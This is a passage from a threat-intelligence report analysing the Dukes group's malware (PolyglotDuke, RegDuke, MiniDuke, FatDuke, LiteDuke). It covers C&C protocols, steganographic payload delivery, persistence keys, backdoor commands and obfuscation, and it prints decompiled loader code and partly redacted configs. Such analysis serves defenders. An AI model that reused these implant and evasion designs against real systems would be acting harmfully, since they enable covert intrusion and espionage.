List of hardcoded argument names

<table>
<thead>
<tr>
<th>Arg</th>
<th>campaign_id</th>
<th>data</th>
</tr>
</thead>
<tbody>
<tr>
<td>action</td>
<td></td>
<td></td>
</tr>
<tr>
<td>extra</td>
<td>extra_1</td>
<td></td>
</tr>
<tr>
<td>img_id</td>
<td>Item</td>
<td>item_id</td>
</tr>
<tr>
<td>K</td>
<td>L</td>
<td>mod_id</td>
</tr>
<tr>
<td>num</td>
<td>Number</td>
<td>Oldid</td>
</tr>
<tr>
<td>page</td>
<td>Pf</td>
<td>Pflo</td>
</tr>
<tr>
<td>ref</td>
<td>S</td>
<td>Show</td>
</tr>
<tr>
<td>tag</td>
<td>Term</td>
<td>Title</td>
</tr>
<tr>
<td>var</td>
<td>View</td>
<td></td>
</tr>
</tbody>
</table>

Table 1. List of parameters used to generate GET request to the C&C server

The GET argument values are randomly generated but the first random string in each request should comply with a constraint based on a specific integer (see below). A string will be randomly regenerated until one complies with the constraints. The digits from the string representation of the MD5 hash of the randomly generated string are summed, and then modulo 5 of this value must match a specific integer.

The communication with the C&C server to retrieve a payload follows this sequence:

- First the communication with the C&C server is checked. The sum of the digits of the MD5 hash of the first argument modulo 5 should be equal to 4. The response of the C&C server is matched with the second random string as it will echo back this string in case of successful communication.
- If the communication with the C&C server is successful, a custom hash from the concatenation of the username and the volume serial number of the disk of the current directory is generated and sent twice. The modulo 5 value of the MD5 hash of the first parameters of these requests should be 0 and 2 respectively.
- In the response to the second request, search for `<img src="` and the next `">` strings in the last response and extract the image filename between them, if present. Figure 11 shows a C&C server response at the identification step, with a path to an image (cuteanimals12.jpg in this case).
- If a filename was extracted in the preceding step, the file is retrieved into the directory whose name is the unique ID sent twice at the registration step:
  ```
  GET example.com/<Username_VolumeID_Hash>/cuteanimals12.jpg
  ```

Figure 11. C&C response with a path to an image to download
This sequence continues until a path to a file is provided between the `<img src="" and ">` strings and the file downloaded. The communication steps are summarized in Figure 12.

![Figure 12. Communication sequence with the C&C server](image)

Interestingly, the root URLs of the C&C server used by PolyglotDuke redirect to domains with similar names hosting legitimate websites. This technique is probably used in order to avoid suspicion when investigating the traffic with the C&C server. For one of the C&C servers, the attackers forgot to add a TLD to the redirected domain. Examples of redirection are shown in Table 2.

<table>
<thead>
<tr>
<th>C&amp;C server domain name</th>
<th>Redirection target</th>
</tr>
</thead>
<tbody>
<tr>
<td>rulourialuminiu.co[.]uk</td>
<td>rulourialuminiu.ro</td>
</tr>
<tr>
<td>powerpolymerindustry[.]com</td>
<td>powerpolymer.net</td>
</tr>
<tr>
<td>ceycarb[.]com</td>
<td>ceycarb (invalid, missing TLD)</td>
</tr>
</tbody>
</table>

Table 2. Example of redirection from the C&C servers' root URLs
3.2.4 PAYLOAD DECRYPTION AND EXECUTION

A data blob containing encrypted data is appended to the end of the downloaded file; this technique allows data to be easily included in a JPEG or PNG image download in a way that means the image remains valid. We couldn’t retrieve any of the files downloaded by PolyglotDuke to confirm this hypothesis but the way the encrypted blob is added to such files in addition to their extension being .jpg or .png lead us to think that they were valid images used to look like legitimate traffic.

To extract the payload from the file downloaded from the C&C server, PolyglotDuke will first decrypt the last eight bytes with RC4 using the same key as the one used for strings decryption. The first four decrypted bytes correspond the offset to the embedded blob relative to the end of the file and the last four bytes provide a value used as integrity check; that value is the same as the first four bytes at the beginning of the blob.

The structure of the file is described in Figure 13.

![Figure 13. Embedded blob format](image)

After obtaining the offset to the embedded blob and checking the integrity value, the size of the RC4-encrypted blob is retrieved from immediately afterward. Then, next to the encrypted blob, we find the signed SHA-1 hash of the blob. Before decrypting the blob, the hash signature is checked against a RC4-encoded public key hardcoded in the binary. The signature verification procedure is shown in Figure 14, while the public key used to check the hash signature is shown in Figure 15.

![Figure 14. Decompiled hash signature verification procedure](image)
This technique ensures that only a payload signed by the operators could be executed on the victim's machine, since the private key used to sign the hash is needed to generate a valid signature.

After having successfully checked the hash signature of the encrypted blob, it is decrypted using the same key used for the RC4-encrypted strings. The format of the decrypted blob is shown in Figure 16.

Notice that the same delimiter value is used and checked at various positions of the blob (in the example in Figure 16 it is \x1BD75010). Two of the bytes between the first two delimiters define the action to be taken with the decrypted blob.

The value immediately following the second delimiter is the size of the data, being either a PE or an encrypted configuration, followed by the data itself followed by a third delimiter, the size of the subsequent filename, and finally the filename itself. The correct extension (.dll or .exe) will be appended to the filename of the PE to be written, depending on the executable type. The list of valid combinations and their respective behaviors is shown on Table 3.

<table>
<thead>
<tr>
<th>exec type 1</th>
<th>exec type 2</th>
<th>behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>2</td>
<td>write the executable to disk and launch it using CreateProcess</td>
</tr>
<tr>
<td>1</td>
<td>4</td>
<td>write the DLL to disk and launch it using rundll32.exe</td>
</tr>
<tr>
<td>2</td>
<td>3</td>
<td>write the DLL to disk and load it using LoadLibraryW</td>
</tr>
<tr>
<td>3</td>
<td>1</td>
<td>write the encrypted JSON config to the registry, updating the list of public pages to parse for encoded C&amp;C addresses.</td>
</tr>
</tbody>
</table>

Table 3. List of execution type combination and their corresponding behavior
3.3 RegDuke: a first stage implant

RegDuke is a first-stage implant that is apparently used only when attackers lose control of the other implants on the same machine. Its purpose is to stay undetected as long as possible to help make sure the operators never lose complete control of any compromised machine.

It is composed of a loader and a payload, the latter being stored encrypted on the disk. Both components are written in .NET. RegDuke persists by using a WMI consumer named MicrosoftOfficeUpdates. It is launched every time a process named WINWORD.EXE is started.

Our analysis is based on the sample with SHA-1 0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF.

3.3.1 THE LOADER

Between August 2017 and June 2019, we have seen four different main versions of the loader. The first version was not obfuscated and had the encryption key hardcoded in the code. Later versions read the encryption key from the Windows registry and use different types of obfuscation such as control-flow flattening or directly using .NET Reactor, a commercial obfuscator. Figure 17 is a sample of RegDuke obfuscated with .NET Reactor.

```csharp
if (CryptCreateHash(hProv, CALS_SHA1, 0, 0, &hHash))
{
    if (CryptHashData(hHash, encryptedPE->data, encryptedPE->size, 0))
    {
        pubKeyBlob_1 = pubKeyBlob;
        if (CryptImportKey(hProv, pubKeyBlob->data, pubKeyBlob->size, 0, 0, &hPubKey))
        {
            cryptVerifyStatus = CryptVerifySignatureW(hHash,
                signature->data,
                signature->size,
                hPubKey,
                0,
                0);
        }
        else
        {
            CryptDestroyHash(hHash);
            cryptVerifyStatus = 0;
        }
    }
    goto LABEL_19;
}
CryptDestroyHash(hHash);
```

*Figure 17. Obfuscated RegDuke sample*

The flow of the loader is simple. It reads the encrypted file at either a hardcoded path or at a value extracted from the Windows registry, as shown in Figure 18.

```csharp
byte[] rawAssembly = AdobeJS.AdobeJS-DecryptFile
(Envirenment.ExpandEnvironmentVariables("%ProgramFiles(x86)\Adobe\Reader 9.0\Reader\Jascripts\JSByteCode.bin"), "bKwXxGTVa", new
byte[16]
{
    (byte) 231,
    (byte) 15,
    (byte) 207,
    (byte) 192,
}
```

*Figure 18. RegDuke. The path, password and salt are hardcoded in this example*
Then, it decrypts it using a password and a salt either hardcoded in the loader or stored in the Windows registry. The encryption key and the initialization vector are derived from the password and the salt using the technique described in RFC 2898, also known as PBKDF2, as shown in Figure 19.

```csharp
private static byte[] DecryptFile(string inputFileName, string password, byte[] salt)
{
    try
    {
        FileStream inputStream = new FileStream(inputFileName, FileMode.Open, FileAccess.Read);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt);
        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(32);
        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(16);
        CryptoStream cryptoStream = new CryptoStream(inputStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read);
        byte[] numArray = new BinaryReader((Stream)cryptoStream).ReadBytes(5000000);
        cryptoStream.Close();
        inputStream.Close();
        return numArray;
    }
}
```

Figure 19. Decryption of RegDuke payload

In all the samples we have seen, they use only the three different registry keys listed in Table 4. It is interesting to note that attackers seem to have put a good effort at selecting registry keys and values that might look legitimate.

<table>
<thead>
<tr>
<th>Registry Key</th>
<th>Value containing the directory of the payload</th>
<th>Value containing the filename of the payload</th>
<th>Value containing the password and the salt</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Intel\MediaSDK\Dispatch\0102</td>
<td>PathCPA</td>
<td>CPmodule</td>
<td>Init</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Intel\MediaSDK\Dispatch\hw64-s1-1</td>
<td>RootPath</td>
<td>APIModule</td>
<td>Stack</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\4.0</td>
<td>MSBuildOverrideTasksPath</td>
<td>DefaultLibs</td>
<td>BinaryCache</td>
</tr>
</tbody>
</table>

Table 1. List of parameters used to generate GET request to the C&C server

Finally, the decrypted Windows Executable is loaded using the `Assembly.Load` method. We only found one payload, but we cannot be certain that others are not deployed in the wild.

### 3.3.2 THE PAYLOAD: A FILELESS, DROPBOX-CONTROLLED BACKDOOR

The payload is a backdoor that resides in memory only, and that uses Dropbox as its C&C server. Its configuration is hardcoded in an internal class, shown in Figure 20. Our analysis is based on the sample with SHA-1 5905C55189C683BC37258AECE28E916C41948CD1C.
We have seen the following `clientId` values being used: `collection_3`, `collection_4`, `collection_6`, `collection_7`, `collection_8` and `collection_99`. However, other than `collection_4`, we were not able to determine the targets for these collections.

The backdoor regularly lists the Dropbox directory corresponding to its `clientId` and downloads PNG files from it. The downloaded PNG files are valid pictures, as you can see in Figure 21.

However, the attackers have used steganography to hide data in the pictures. In Figure 22, you can see the code looping over all the pixels of the image and extracting data from them.

```java
internal class Globals {
    public static byte[] key = Encoding.UTF8.GetBytes("<Redacted>
    public static string tokenDbx = "<Redacted>
    public static string clientId = "collection_4";
    public static string iconId = "icons";
    public static string proxy = "http://10.1.1.8080";
    public static Random rand = new Random();
    public static int heightico = 32;
    public static int widthico = 32;
}
```

Figure 20. Dropbox backdoor configuration (redacted)

Figure 21. Example of two pictures downloaded from the Dropbox directory

Figure 22. Loop extracting a payload from the pixels of a downloaded picture
Each pixel is encoded into 24 bits: 8 for red, 8 for green and 8 for blue. The developers use a technique called “Least Significant Bit” to store 8 bits of data in each pixel, as shown in Figure 23. This technique has been used previously by other malware such as Gozi[25]. They extract two bits from the red value, three from the green and three from the blue.

The steganographically altered image has almost no visible difference from the original image because the two or three least significant bits have a very limited impact on the color. For the green and blue components of each pixel a maximum of 7/256, and for the red component 3/256 of a fully saturated pixel variation will occur. Figure 24 shows a blue of value 255 (on the left) and the maximum deviation from that in just the blue spectrum with a value of 248 (on the right). There is apparently no difference but, by doing that on every pixel of the image, allows the attacker to store a backdoor in a still valid PNG image.

Finally, it decrypts the extracted bytes using the AES key hardcoded in the config. The decrypted data can be:

- a Windows executable
- a Windows DLL
- a PowerShell script

We have seen the following executables being dropped by this Dropbox backdoor:

- Several MiniDuke backdoors (see section 3.4)
- Process Explorer, a utility that is part of the SysInternals suite
3.4 MiniDuke backdoor: the second stage

As highlighted in section 2.2, the most recent versions of the MiniDuke backdoor have a lot of code similarities with earlier versions, such as the sample with SHA-1 of 86EC70C27E5346700714DBAE2F18E168A08210E4, described by Kaspersky researchers in 2014\cite{21}. Our analysis is based on the sample with SHA-1 B05CABA4E6500C6EBD8B237F318577E9BCCD6047, compiled on August 17, 2018.

MiniDuke acts as a second-stage backdoor, which is dropped by one of the two first-stage components described in the sections above.

The most recent samples we are aware of were compiled in June 2019 and show no major changes, except the C&C domain and the use of an invalid (likely transplanted) digital signature, as shown in Figure 25. This might be an attempt to bypass some security products.

![Figure 25. Invalid digital signature added to the backdoor](image1)

The backdoor is still written in pure x86 assembly but its size increased a lot – from 20 KB to 200+ KB. This is due to the addition of obfuscation, mainly control-flow flattening\cite{26}, as shown in Figure 26. This is a common obfuscation technique that make it difficult to read the code because every function is split in a switch/case inside a loop.

![Figure 26. Control flow flattening used to obfuscate the MiniDuke backdoor](image2)
Some of the Windows API functions are resolved dynamically. The backdoor uses a simple hash function to obfuscate the name of the function it tries to resolve.

The network communication is relatively simple. It can use the GET, POST and PUT HTTP methods to contact the hardcoded C&C server.

In order to blend into the legitimate traffic, the data are prepended with a JPEG header. The resulting images are not valid, but it is very unlikely that anybody will check the validity of all pictures in the network traffic. Figure 27 is an example of a POST request to the C&C server. As the server was down at the time of capture, we were not able to receive a reply, but we believe the reply also contains a JPEG header, as the malware ignores the first bytes of the reply.

```
POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, image/png, image/gif, image/jpeg, image/x-bmp, */
Referer: http://example.com/session
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge
Host: example.com
Connection: Keep-Alive
Cache-Control: no-cache

--Ghwyjz2jEwhMyY6f71
Content-Disposition: form-data; name="enve"; filename="ogmmpco.jpg"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

...[JPEG data]

--Ghwyjz2jEwhMyY6f71
```

Figure 27. Post request to the C&C server that looks like a regular jpeg file upload

In addition to the HTTP protocol, the malware is able to send and receive data over a named pipe. This feature typically allows it to reach machines on the local network that don’t have internet access. One compromised machine, with internet access, will forward commands to other compromised machines through the named pipe.

A similar feature to the named pipe is the HTTP proxy. The malware will listen on a first socket, either on the default port 8080 or on a port specified by the operators. It will also open a second socket with the C&C server. It waits for connections on the first socket and when one is established, it proxies data between the two sockets. Thus, a machine without internet access, or with a firewall that blocks connections to the attackers’ domain, might still be able to read the C&C through the proxy machine.

Finally, this malware implements thirty-eight different backdoor functions such as:

- Uploading or downloading files
- Creating processes
- Getting system information (hostname, ID, pipename, HTTP method)
- Getting the list of local drives and their type (unk, nrt, rmv, fx, net, cdr, ram, und)
- Reading and writing in the name pipe
- Starting and stopping the proxy feature
3.5 FatDuke: the third stage

FatDuke is the current flagship backdoor of the group and is only deployed on the most interesting machines. It is generally dropped by the MiniDuke backdoor, but we also have seen the operators dropping FatDuke using lateral movement tools such as PsExec.

The operators are regularly re-packing this malware in order to evade detections. The most recent sample of FatDuke we have seen was compiled on May 24, 2019.

We have seen them trying to regain control of a machine multiple times in a few days, each time with a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, we have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.

In this section, we will use the sample with SHA-1 DB19171B239EF6DE8E83B2926EADC652E74A5AFA for our analysis.

3.5.1 INSTALLATION AND PERSISTENCE

During our investigation, we were not able to find a dropper for FatDuke. We believe the operators simply install the backdoor and establish persistence using the standard commands of an earlier stage backdoor.

We also noted that FatDuke generally replaced the second-stage binary, re-using the persistence mechanism already in place.

The persistence we have seen is very standard. They used the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and created a new value named Canon Gear and value C:\Program Files\Canon\Network ScanGear\Canocpc.exe. This launches the backdoor each time a user logs in.

3.5.2 CONFIGURATION

FatDuke has a hardcoded configuration embedded in the executable’s resources, as shown in Figure 28.

![Figure 28. FatDuke configuration data in the PE resources](image)
The configuration data is a JSON object encoded in Base64. Once decoded, it reveals much interesting information, as shown in Figure 29.

```json
{
  "config_id": "145",
  "encoding_mode": "Base64",
  "encryption_mode": "Aes256",
  "key": "62DA4593023BA4A1149F76658A35C4A78CE7E0CDF7529C96499FB5F27AA647B3",
  "pivoting_ip": "<redacted local IP v4 address>",
  "pivoting_pipe": "lippstdt",
  "pivoting_login": "Administrator",
  "pivoting_password": "<redacted>",
  "server_address": "https://ministernetwork.[].org:443/Main/",
  "ignore_certificate_errors": "0",
  "connection_types": "WinInet,WinHttp,UrlMon",
  "data_container": "Cookie",
  "rsa_public_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0t

Figure 29. FatDuke configuration example

Included in the information contained in the config, we can see:

- The AES key used to encrypt/decrypt the network traffic
- The pipe name and the credentials used to contact another machine on the local network
- The C&C URL
- The time of day when the backdoor is enabled for attacker access
- Cookies that the malware can fetch in the browser's cookie directory. They are related to cookies used by Google services such as YouTube or Gmail

Finally, it does not seem possible to update this configuration without dropping a new version of the malware.
3.5.3 BACKDOOR AND NETWORK

FatDuke can be controlled remotely by the attackers using a custom C&C protocol over HTTP or using named pipes on the local network.

HTTP communications and backdoor commands

In order to blend in the network traffic, FatDuke tries to mimic the user’s traffic by using the same User-Agent as the browser installed on the system. It implements two different techniques to gather this value.

First, it can probe the User-Agent by making an HTTP request on a socket it has just created.

1. It creates a socket listening on localhost:80
2. It accepts any connection
3. It calls ShellExecuteW with open and http://localhost: as argument. This will open the default browser on the URL localhost.
4. The socket replies with a hardcoded HTTP reply:

   HTTP/1.1 200 OK
   Server: Apache/2.2.14 (Win32)
   Content-Type: text/html
   Connection: close
   <html><script>window.close();</script></html>

   This simple JavaScript code will directly close the browser. The window pops up only for a fraction of second but the user also loses focus of the currently active window.
5. In order to extract the User-Agent, FatDuke parses the HTTP request sent by the browser to its socket.

If the previous method did not work, it can check the default browser in the registry key HKCU\Software\Classes\http\shell\open\command. It then selects one of the hardcoded User-Agent accordingly, as shown in Table 5.

<table>
<thead>
<tr>
<th>Default Browser</th>
<th>Selected User-Agent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Chrome</td>
<td>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36</td>
</tr>
<tr>
<td>Firefox</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)</td>
</tr>
<tr>
<td>Opera</td>
<td>Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.35 Safari/537.36 OPR/24.0.1558.21</td>
</tr>
<tr>
<td>Safari</td>
<td>Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2</td>
</tr>
</tbody>
</table>

Table 5. Hardcoded User-Agent

Next, FatDuke contacts the C&C server, specified in the config, and uses one of the php script specified in the php_aliases field of the config. It is interesting to note that these filenames are related to the theme of the C&C server domain. For example, they registered the domain westmedicalgroup[.]net, and the aliases list contain filenames such as doctors.php or diagnostics.php.
Figure 30 is a summary of the C&C protocol.

![FatDuke C&C protocol diagram]

The requests sent to the C&C server are crafted to look like typical GET requests and once again are related to the script name. For example, the request below uses parameters that you might expect to find on a forum's website.

```
/homepage/forum.php?newsid=<RANDOM>&article=<REDACTED>&user=e40a4bc603a74403979716c932f0523a&revision=3&fromcache=0
```

However, while some fields are randomly generated strings, article and user could be used by the operator to pinpoint the victim. The first keyword, article, is an identifier – a SHA-256 hash of the volume identifier concatenated with MAC addresses found on the target computer. The other keyword, user, probably flags the general configuration that comes with the malware. This value is located in the PE resource section, right before the encoded configuration mentioned in section 3.5.2.

The reply is an HTML page, with the HTML content copied from a legitimate website such as the BBC. However, if the C&C server wants to send a command to the malware, it will add an additional HTML img tag to the page, as shown in Figure 31.

![Additional image tag sent by FatDuke C&C]

---

Figure 30. FatDuke C&C protocol

Figure 31. Additional image tag sent by FatDuke C&C
Once it receives this HTML page, the malware uses the two following regexes:

- `<img id="id[0-9]+" src="([^"\]+)" class="image-replace"[^>]*>`
- `<img id="idd[0-9]+" src="([^"\]+)" class="image-replace"[^>]*>`

These regexes extract the `src` attribute value — the URI of the image. If it finds an image, the malware will make another GET request to `http(s)://<C&C>/<directory>/<php_script.php>?imageid=<src value>`. In our example, it will make a request to `http://<C&C>/about/bottom.php?imageid=32d7bcf505ca1af4a38762f650968ac9cab2ce305cdbf8331d30b.png`.

This will return a file, such as that shown in Figure 32. These files masquerade as PNG images in the GET request, but are not valid images. They contain a header of 0x37 bytes, matching one hardcoded in the malware, and a chunk of encrypted data that is base64 encoded. To further the PNG subterfuge, the header contains an incomplete, misplaced and corrupted PNG header, which may be sufficient to avert concern under cursory examination.

Operation Ghost: The Dukes aren't back — they never left
These JSON objects contain a command identifier and the command arguments. Table 6 shows the commands implemented by FatDuke.

<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
<th>ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Read or write an environment variable</td>
<td>17</td>
<td>Copy a file or a directory</td>
</tr>
<tr>
<td>1</td>
<td>Load a DLL</td>
<td>18</td>
<td>Remove a directory</td>
</tr>
<tr>
<td>2</td>
<td>Unload a DLL</td>
<td>19</td>
<td>Remove a file</td>
</tr>
<tr>
<td>3</td>
<td>Execute rundll32</td>
<td>20</td>
<td>Compute the MD5 of a file</td>
</tr>
<tr>
<td>4</td>
<td>Execute a command, a wscript, a PowerShell command or create a process</td>
<td>21</td>
<td>cat a file</td>
</tr>
<tr>
<td>5</td>
<td>Execute a command, a wscript, a PowerShell command or create a process, using a pipe to get the result</td>
<td>22</td>
<td>Exfiltrate a file</td>
</tr>
<tr>
<td>6</td>
<td>Kill a process</td>
<td>23</td>
<td>Write a file</td>
</tr>
<tr>
<td>7</td>
<td>Kill itself</td>
<td>24</td>
<td>Write random data to a file (secure deletion)</td>
</tr>
<tr>
<td>8</td>
<td>Uninstall (secure delete its DLL and exit the process)</td>
<td>25</td>
<td>System information</td>
</tr>
<tr>
<td>9</td>
<td>Turn on or off the random interval</td>
<td>26</td>
<td>Date</td>
</tr>
<tr>
<td>10</td>
<td>Set User-Agent to default value</td>
<td>27</td>
<td>List running processes</td>
</tr>
<tr>
<td>11</td>
<td>Enable debug log</td>
<td>28</td>
<td>Return the list of disks with their type and available space</td>
</tr>
<tr>
<td>12</td>
<td>Return the working directory</td>
<td>29</td>
<td>Return malware information</td>
</tr>
<tr>
<td>13</td>
<td>Change the working directory</td>
<td>30</td>
<td>Listen to a pipe</td>
</tr>
<tr>
<td>14</td>
<td>List directory</td>
<td>31</td>
<td>Stop listening to a pipe</td>
</tr>
<tr>
<td>15</td>
<td>Create directory</td>
<td>32</td>
<td>List open pipes</td>
</tr>
<tr>
<td>16</td>
<td>Move a file or a directory</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Table 6. FatDuke backdoor commands

The C&C servers used for FatDuke do not seem to be compromised websites. In order to look legitimate, they register variants of existing domains and redirect the homepage of their C&C server to the homepage of the real domain. As mentioned before, this technique is also used for PolyglotDuke C&C servers. For example, they registered the domain fairfieldsch[.]org and make it redirect to fairfields.northants.sch.uk, the website of a school in the UK. We also noticed that they used several C&C servers per targeted organization, but these servers apparently don’t overlap across the victims, ensuring tight compartmentalization.

Local network pivoting

What if the compromised machine doesn’t have access, or has restricted access, to the Internet? The developers implemented a functionality they called PivotingPipeTransport.

It allows the malware to communicate with other malware instances using pipes. In order to connect to a remote machine, it first calls WNetAddConnection2. This function takes the following arguments:

- lpNetResource: the remote machine
- lpPassword: the remote password
- lpUserName: the remote username
These pieces of information are available in the malware configuration under the names:

- `pivoting_ip`
- `pivoting_login`
- `pivoting_password`

Then, it will create a pipe using the name specified in the `pivoting_pipe` configuration field and use it to communicate with the other malware instance.

Thus, this functionality allows attackers to bypass network restrictions that may be enforced on critical systems. However, they need to steal the credentials of the remote machine first or use organization-level administrative credentials.

### 3.5.4 OBFUSCATION

The FatDuke binaries are highly obfuscated. They use three different techniques in order to slow down analysis.

First, they use string stacking for all important strings; this consists of building strings dynamically by pushing each character separately on the stack, rather than using strings from the `.data` section. They also add some basic operations to the stacking in order to prevent the extraction without emulating the code. Figure 34 shows such an example where the ASCII value of each letter is multiplied with a hardcoded value of 1.

```plaintext
v81 = 78 * int_1;  // Need 2 or 3 arguments: dll name, 
                   // entry point and [param string]

v82 = 101 * int_1;
v83 = 101 * int_1;
v84 = 100 * int_1;
v85 = 32 * int_1;
v86 = 50 * int_1;
v87 = 32 * int_1;
v88 = 111 * int_1;
```

**Figure 34. FatDuke obfuscation — String stacking**

Second, they also add opaque predicates in most of the functions. Opaque predicates are conditions that are always True or always False. They are not part of the code semantic, but the code is harder to read. Figure 35 is an example of opaque predicates we found in FatDuke. Whatever the result of `rand()` is, `v11` is always equals to 15. Thus, the condition is always False.

```plaintext
v10 = rand();
v11 = 6 * (v10 % 100 + 15) / 6 - v10 % 100;  // v11 = 15
if ( v11 > 15 )  // always false
{
    v85 = 1749;
v86 = 7925;
    f_return_5069(5697, 36);
}
```

**Figure 35. FatDuke obfuscation — Opaque predicate**
Third, they added junk code and junk strings. Unlike opaque predicates, the code will be executed but it is useless and again are not part of the semantic of the program. For example, the function in Figure 36 and in Figure 37 returns always the same value, which is never used.

```c
f_ret_0x1C5C(i, COERCE_INT(0.25071901));
```

**Figure 36. FatDuke obfuscation — Junk function call**

```c
int __stdcall f_ret_0x1C5C(int a1, int a2)
{
    return 0x1C5C;
}
```

**Figure 37. FatDuke obfuscation — Junk function return value**

The binary contains a huge amount of strings from different projects like Chromium. It might be an attempt to bypass security products, similar to what was posted by SkyLight [27]. These strings are used to fill very large structures (about 1000 fields), probably to hide the few interesting fields used by the malware, as shown in Figure 38.

```c
this->field_14 = 15;
this->field_18 = 0;
LOBYTE(this->field_0) = 0;
f_copy(this, "GetTraceEnableLevel", 0x13u);
v61 = 0;
v2->field_2c = 15;
v2->field_28 = 0;
LOBYTE(v2->field_18) = 0;
f_copy(&v2->field_18, "%?%(?70?4?H%L?\r?\?p?\%x?\%", 0x1Bu);
v2->field_44 = 15;
v2->field_40 = 0;
LOBYTE(v2->field_30) = 0;
f_copy(&v2->field_30, "setct-CertResData", 0x11u);
v2->field_5c = 15;
v2->field_58 = 0;
LOBYTE(v2->field_48) = 0;
f_copy(&v2->field_48, "RSA_EXPORT", 0xAu);
v2->field_74 = 15;
v2->field_70 = 0;
LOBYTE(v2->field_60) = 0;
f_copy(&v2->field_60, "Cross origin redirect denied", 0x1Cu);
v2->field_8c = 15;
v2->field_88 = 0;
LOBYTE(v2->field_78) = 0;
f_copy(&v2->field_78, "I/O Board, rev1", 0xFu);
v2->field_a4 = 15;
v2->field_a0 = 0;
LOBYTE(v2->field_90) = 0;
f_copy(&v2->field_90, "Sync.RequestContentLength.Compressed", 0x24u);
v2->field_bc = 15;
v2->field_b8 = 0;
```

**Figure 38. FatDuke obfuscation — Chromium strings**

We are not sure whether Dukes’ developers used a commercial obfuscation tool or if they developed their own. However, given their level of sophistication, it would not be surprising if they rely on their own obfuscator.
3.6 LiteDuke: the former third stage

LiteDuke is a third-stage backdoor that was mainly used in 2014-2015. It is not directly linked to Operation Ghost, but we found it on some machines compromised by MiniDuke. We chose to document it mainly because we did not find it described elsewhere. We have dubbed it LiteDuke because it uses SQLite to store information such as its configuration. Our analysis is based on the sample with SHA-1 AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE.

3.6.1 LINK WITH THE DUKES

LiteDuke uses the same dropper as PolyglotDuke. It also uses the same encryption scheme, shown in Figure 7 in section 2.2, to obfuscate its strings. As we haven’t seen any other threat actor using the same code, we are confident that LiteDuke was indeed part of the Dukes’ arsenal.

3.6.2 PACKER

LiteDuke is packed using several layers of encryption and steganography.

1. In the PE resources section, the initial dropper has a GIF picture. The picture is not valid but contains a second dropper.
2. This second executable has a BMP picture in its resources. It uses steganography to hide bytes in the image. Once decoded and decrypted, we have the loader.
3. The loader will decrypt the backdoor code and load it into memory.

Figure 39 summarizes the unpacking process from the initial dropper to the backdoor code.

![LiteDuke unpacking process](image)

**Side Story**

We also noticed that the attackers left a curious artefact in an older sample (the dropper with SHA-1 7994714FFDD6411A6D64A7A6371DB9C529E70C37) as shown in Figure 40.

![Curious phone number left by the attackers](image)

This is the phone number of a mental health specialist in a small city in the state of Indiana in the United States.
3.6.3 BACKDOOR

The backdoor code only exists in memory as only the loader is written to disk. The loader persists using a Windows shortcut (.lnk file) that is registered in the traditional CurrentVersion\Run registry key.

According to the PE header, the developers did not make use of Visual Studio to compile this backdoor. Figure 41 shows that they used the linker FASM 1.70. FASM (Flat Assembler) is an assembler that can produce Windows or Linux binaries. It reminds us of the MiniDuke backdoor, developed directly in x86 assembly.

![Figure 41. Assembler used by the developer (screenshot of DIE analysis)](image)

The backdoor DLL exports seven functions that have relatively explicit names (CC being Crypto Container):

- SendBin
- LoadFromCC
- SaveToCC
- GetDBHandle
- GetCCFieldSize
- GetCCFieldLn
- DllEntryPoint

Interestingly, the malware apparently attempts to bypass Kaspersky security products by checking if the registry key HKCU\Software\KasperskyLab exists and if so, it waits 30 seconds before executing any additional code. We do not know whether this really bypasses any Kaspersky security products.

The Crypto Container is an SQLite database, stored on the disk in the same directory as the loader, and uses SQLCipher. This SQLite extension encrypts the database using AES-256. The encryption key is the MD5 hash of machine-specific values (such as CPUID, the account name, the BIOS version and the processor name) to prevent decryption if, for example, the database ends up in a public malware repository. The key is not stored anywhere but is re-generated at each execution.

The database contains three different tables, which are created using the following commands:

```sql
CREATE TABLE modules (uid INTEGER PRIMARY KEY, version char(255), code blob, config blob, type char(10), md5sum char(32), autorun (INTEGER);
CREATE TABLE objects (uid INTEGER PRIMARY KEY AUTOINCREMENT, name CHAR(255), body blob, type char(10), md5sum char(32));
CREATE TABLE config (uid INTEGER PRIMARY KEY AUTOINCREMENT, agent_id CHAR(128), remote_host CHAR(256), remote_port integer, remote_path char(1024), update_interval integer, server_key CHAR(32), rcv_header CHAR(64));
```

The configuration default values are hardcoded in the binary. This SQLite table allows the malware operators to update these parameters easily.
